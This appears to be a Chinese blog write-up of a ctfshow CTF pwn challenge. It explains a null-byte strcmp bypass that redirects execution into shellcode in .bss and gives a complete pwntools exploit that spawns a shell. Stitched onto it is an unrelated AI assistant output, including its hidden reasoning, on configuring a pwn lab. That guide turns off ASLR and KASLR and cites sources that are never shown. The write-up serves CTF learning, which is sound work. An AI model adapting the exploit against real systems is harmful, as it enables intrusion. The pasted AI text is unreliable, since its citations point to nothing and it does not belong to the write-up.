2021 ctfshow 月饼杯 pwn 容易的胖

在这里插入图片描述
保护啥也没有。

在这里插入图片描述
看起来似乎是就是一个输入shellcode的过程,但是往哪输入,然后输入进去咋样,题目怎么做,都暂时看不出来,所以需要我们去调试一下。

在这里插入图片描述
可以看出来shellcode被放在了0x804a040,这是一个bss上的地址。

在这里插入图片描述
我们可以看到,当我们通过’\x00’截断来绕过strcmp正常返回的时候,我们会把ebp-8,也就是v3地方的地址弹到ecx,然后控制了它就可以控制我们函数的返回地址,我们只要让它合适的返回到我们的shellcode上就好啦。

exp

from pwn import*

context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

r = process("yb2")

bss_addr = 0x804a040

payload = p32(bss_addr + 4) + asm(shellcraft.sh())

r.sendlineafter("Input your shellcode\n", payload)
r.sendlineafter("shellcode????\n", "yes\n" + '\x00' * 12 + p32(bss_addr + 4))

r.interactive()
<think>好的,我现在需要帮助用户解决关于CTFShow平台上PWN相关的Linux环境配置和使用方法的问题。首先,我需要确认用户的具体需求是什么。他们可能是在准备CTF比赛,需要配置一个适合PWN挑战的Linux环境,可能涉及到调试工具、禁用地址随机化(ASLR)、内核设置等方面。 根据用户提供的引用内容,有三个引用提到了修改ASLR的方法,以及关闭内核地址随机化(nokaslr)的启动参数。还有安装内核符号表的步骤。这些都是配置PWN环境时的常见操作。因此,我需要将这些信息整理成清晰的步骤,并确保用户能够按照步骤操作。 首先,用户可能需要安装基本的开发工具,比如gcc、gdb、make等,这些都是编译和调试PWN题目的基础。接下来是禁用ASLR,这在PWN题目中很常见,因为地址随机化会增加利用难度,禁用后可以更稳定地进行漏洞利用。用户提供的引用[1]和[2]都提到了通过修改/proc/sys/kernel/randomize_va_space来关闭ASLR,这里需要提醒用户需要root权限,并且可能需要永久设置。 然后是配置调试环境,特别是GDB的插件,比如pwndbg、peda或gef,这些工具能极大提高调试效率。用户可能还需要使用checksec来检查二进制文件的保护机制,这可以通过安装pwntools来获得。 接下来,用户的问题可能涉及到内核地址随机化(KASLR),这在引用[3]中提到了在启动QEMU时添加nokaslr参数来关闭。这里需要说明如何在启动脚本中设置这个参数,以及可能需要重新编译内核或使用特定启动选项的情况。 此外,用户可能需要配置QEMU环境,特别是在使用虚拟机进行漏洞利用时,需要正确设置内核镜像和初始文件系统,如引用[3]中的例子。同时,安装内核符号表对于调试内核相关的题目可能很重要,需要指导用户如何手动安装。 最后,用户可能需要安装一些常用的PWN工具,如pwntools、ROPgadget等,这些都是进行漏洞利用的必备工具。在整理这些步骤时,需要确保每个步骤都清晰,并且指出可能的注意事项,比如权限问题或依赖安装。 生成的相关问题需要覆盖用户可能遇到的后续疑问,比如如何验证ASLR是否关闭,如何调试内核驱动,如何处理依赖缺失,以及如何优化调试体验等。这些问题可以帮助用户进一步解决实际配置中可能遇到的问题。 现在需要将上述思考整理成一个结构化的回答,确保每个步骤都有对应的说明和引用来源。同时,保持语言简洁明了,适合中文用户理解。可能还需要检查是否有遗漏的配置步骤,比如Docker环境的使用或其他特定于CTFShow平台的设置,但根据现有引用内容,可能不需要涉及这些。如果有不确定的地方,可能需要提示用户参考更多资料或官方文档。</think>### CTFShow PWN Linux环境配置指南 #### 1. 基础环境准备 - **安装开发工具**:使用apt安装编译调试工具链 ```bash sudo apt update && sudo apt install -y gcc gdb make python3-pip ``` - **配置ASLR关闭**(关键配置): ```bash echo 0 > /proc/sys/kernel/randomize_va_space # 临时关闭[^1][^2] # 永久关闭需在/etc/sysctl.conf添加: # kernel.randomize_va_space = 0 ``` #### 2. 调试环境配置 - **安装GDB插件**(推荐pwndbg): ```bash git clone https://github.com/pwndbg/pwndbg cd pwndbg && ./setup.sh ``` - **安装pwntools工具包**: ```bash pip3 install pwntools ``` #### 3. 内核环境配置(针对内核题目) - **关闭KASLR**:在QEMU启动参数添加`nokaslr`标志 ```bash -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr"[^3] ``` - **内核符号表安装**: ```bash gdb -ex "add-symbol-file /path/to/vmlinux" -ex "target remote :1234" ``` #### 4. 工具链配置 - **安装ROPgadget**: ```bash pip3 install ROPgadget ``` - **配置checksec**(已包含在pwntools中): ```bash checksec --file=target_bin ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值